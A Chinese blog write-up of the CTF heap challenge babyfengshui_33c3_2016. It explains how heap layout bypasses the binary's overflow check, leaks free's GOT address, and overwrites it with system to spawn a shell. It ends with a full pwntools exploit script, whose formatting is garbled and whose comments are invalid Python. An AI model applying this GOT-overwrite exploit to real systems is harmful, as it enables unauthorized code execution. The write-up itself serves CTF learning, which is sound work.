【buu】babyfengshui_33c3_2016(详细题解)

2024-01-16 11:59

本文主要是介绍【buu】babyfengshui_33c3_2016(详细题解),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 前言
  • 题解
  • 完整脚本
  • 总结

前言

这应该是到目前为止理解的最透彻的堆题了

题解

在这里插入图片描述
32位的程序,开了 Canary, Nx 保护
先放进IDA看看
在这里插入图片描述
又是个堆题,常规流程

先看 add 函数
首先申请了descriptionchunk ,接着又申请了一个0x80大小的 chunk
然后将 descriptionchunk 指针 放到第二个 chunk 中,
接着是一个指针数组 *(&ptr + byte_804b069) 存放第二个 chunk
接着是调用 get_name 函数输入 name
读入 124 字节到第二个 chunk 偏移为 4 的地方

在这里插入图片描述
get_name 函数对输入的 name 进行查找,如果里面有 10,则 将第二个 chunk 中存放 description chunk的指针置0
然后是 update 函数
在这里插入图片描述
首先是读入要修改的 description 长度,然后是一个 if 判断
如果 修改的长度 v3 + 指向description的指针 >= 指向name数组的指针 则返回失败
很显然这是一个防止堆溢出的判断
但是这种判断只基于 description 的堆块与 name 堆块地址相邻,所以可以利用堆的分配机制让这两个堆块分开,使其他的 chunk 分布在这两个堆块之间

delete函数先 free 了第二个 chunk 指向的 chunk 也就是第一个chunk
然后再 free 第二个chunk
接着把第二个 chunk 的指针置0,但是 descriptionchunk 指针没有置0

在这里插入图片描述
show函数显示数据
先打印出第二个 chunk 输入的 name 内容
然后打印出第一个 description chunk 里面的内容

先申请三个堆块,大小都是0x80

add(0x80,'nam1',0x80,'aaaa')
add(0x80,'nam2',0x80,'bbbb')
add(0x80,'nam3',0x80,'/bin/sh\x00')

在这里插入图片描述
生成了六个堆块
在这里插入图片描述
在这里可以看到堆块的结构,对快的先后顺序是 descriptino chunk0 ,name chunk0
现在释放我们申请的第一个堆块,description chunk0,和 name chunk 0,会合并为一个堆块
在这里插入图片描述
在这里插入图片描述
再申请一个新的 chunk0,大小为 0x100,系统后面自动申请 name chunk0的时候,unsortbin 里面的空闲堆块已经不满足要求,就要重新分配,而重新分配的 chunk0_name 则位于堆块尾部
在这里插入图片描述
在这里插入图片描述
查看最后一个堆块可以看到 chunk0_name 中存有 第一个堆块 chunk0_text 的地址
现在利用堆溢出到第一个堆块的 name chunk上,泄露 free 函数的地址,然后算出libc基址就可以得到system函数的地址了

payload = b'a'*0x108 + b'a'*0x08 + b'a'*0x80 + b'a'*0x08 + p32(free_got)
update(3,0x200,payload)

在这里插入图片描述
之前往第三个 chunk 里面写进了 /bin/sh\x00,现在只要把 free_got 替换为 system的地址,当我们在 free 掉第三个 chunk 的时候就会执行 system(‘/bin/sh’),获取shell

完整脚本

from pwn import*
context.log_level  = "debug"
elf = ELF('./pwn')
libc = ELF('./buulibc/libc-2.23.i386.so')
#io = remote('node4.buuoj.cn',26247)
io = process('./pwn')def add(size,name,length,text):io.recvuntil(b'Action: ')io.sendline(b'0')io.recvuntil(b'size of description: ')io.sendline(str(size))io.recvuntil(b'name: ')io.sendline(name)io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)
def delete(id):io.recvuntil(b'Action: ')io.sendline(b'1')io.recvuntil(b'index: ')io.sendline(str(id))
def show(id):io.recvuntil(b'Action: ')io.sendline(b'2')io.recvuntil(b'index: ')io.sendline(str(id))
def update(id,length,text):io.recvuntil(b'Action: ')io.sendline(b'3')io.recvuntil(b'index: ')io.sendline(str(id))io.recvuntil(b'text length: ')io.sendline(str(length))io.recvuntil(b'text: ')io.sendline(text)add(0x80,b'nam1',0x80,b'aaaa')
add(0x80,b'nam2',0x80,b'bbbb')
add(0x80,b'nam3',0x80,b'/bin/sh\x00')
delete(0)
add(0x100,b'name1',0x100,b'cccc') //申请新的 chunk id3
free_got = elf.got['free'] 
payload = b'a'*0x108 + b'a'*8 + b'a'*0x80 + b'a'*8 + p32(free_got)
update(3,0x200,payload) //在 name thunk1 里面写入 free_got 地址
show(1) //输出地址
io.recvuntil(b'description: ')
free_addr = u32(io.recv(4)) //接收free_got的地址
libc_base = free_addr - libc.sym['free'] //计算libc基址
system = libc_base + libc.sym['system'] //算出system地址
print(hex(system))update(1,0x80,p32(system)) // 写入system地址
delete(2)
#gdb.attach(io)
#pause()
io.interactive()

总结

我是菜鸡!

这篇关于【buu】babyfengshui_33c3_2016(详细题解)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/612533

相关文章

Python中isinstance()函数原理解释及详细用法示例

《Python中isinstance()函数原理解释及详细用法示例》isinstance()是Python内置的一个非常有用的函数,用于检查一个对象是否属于指定的类型或类型元组中的某一个类型,它是Py... 目录python中isinstance()函数原理解释及详细用法指南一、isinstance()函数

Python的pandas库基础知识超详细教程

《Python的pandas库基础知识超详细教程》Pandas是Python数据处理核心库,提供Series和DataFrame结构,支持CSV/Excel/SQL等数据源导入及清洗、合并、统计等功能... 目录一、配置环境二、序列和数据表2.1 初始化2.2  获取数值2.3 获取索引2.4 索引取内容2

uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)

《uni-app小程序项目中实现前端图片压缩实现方式(附详细代码)》在uni-app开发中,文件上传和图片处理是很常见的需求,但也经常会遇到各种问题,下面:本文主要介绍uni-app小程序项目中实... 目录方式一:使用<canvas>实现图片压缩(推荐,兼容性好)示例代码(小程序平台):方式二:使用uni

Python屏幕抓取和录制的详细代码示例

《Python屏幕抓取和录制的详细代码示例》随着现代计算机性能的提高和网络速度的加快,越来越多的用户需要对他们的屏幕进行录制,:本文主要介绍Python屏幕抓取和录制的相关资料,需要的朋友可以参考... 目录一、常用 python 屏幕抓取库二、pyautogui 截屏示例三、mss 高性能截图四、Pill

java时区时间转为UTC的代码示例和详细解释

《java时区时间转为UTC的代码示例和详细解释》作为一名经验丰富的开发者,我经常被问到如何将Java中的时间转换为UTC时间,:本文主要介绍java时区时间转为UTC的代码示例和详细解释,文中通... 目录前言步骤一:导入必要的Java包步骤二:获取指定时区的时间步骤三:将指定时区的时间转换为UTC时间步

MySQL批量替换数据库字符集的实用方法(附详细代码)

《MySQL批量替换数据库字符集的实用方法(附详细代码)》当需要修改数据库编码和字符集时,通常需要对其下属的所有表及表中所有字段进行修改,下面:本文主要介绍MySQL批量替换数据库字符集的实用方法... 目录前言为什么要批量修改字符集?整体脚本脚本逻辑解析1. 设置目标参数2. 生成修改表默认字符集的语句3

MySQL使用EXISTS检查记录是否存在的详细过程

《MySQL使用EXISTS检查记录是否存在的详细过程》EXISTS是SQL中用于检查子查询是否返回至少一条记录的运算符,它通常用于测试是否存在满足特定条件的记录,从而在主查询中进行相应操作,本文给大... 目录基本语法示例数据库和表结构1. 使用 EXISTS 在 SELECT 语句中2. 使用 EXIS

Git打标签从本地创建到远端推送的详细流程

《Git打标签从本地创建到远端推送的详细流程》在软件开发中,Git标签(Tag)是为发布版本、标记里程碑量身定制的“快照锚点”,它能永久记录项目历史中的关键节点,然而,仅创建本地标签往往不够,如何将其... 目录一、标签的两种“形态”二、本地创建与查看1. 打附注标http://www.chinasem.cn

线上Java OOM问题定位与解决方案超详细解析

《线上JavaOOM问题定位与解决方案超详细解析》OOM是JVM抛出的错误,表示内存分配失败,:本文主要介绍线上JavaOOM问题定位与解决方案的相关资料,文中通过代码介绍的非常详细,需要的朋... 目录一、OOM问题核心认知1.1 OOM定义与技术定位1.2 OOM常见类型及技术特征二、OOM问题定位工具

基于 Cursor 开发 Spring Boot 项目详细攻略

《基于Cursor开发SpringBoot项目详细攻略》Cursor是集成GPT4、Claude3.5等LLM的VSCode类AI编程工具,支持SpringBoot项目开发全流程,涵盖环境配... 目录cursor是什么?基于 Cursor 开发 Spring Boot 项目完整指南1. 环境准备2. 创建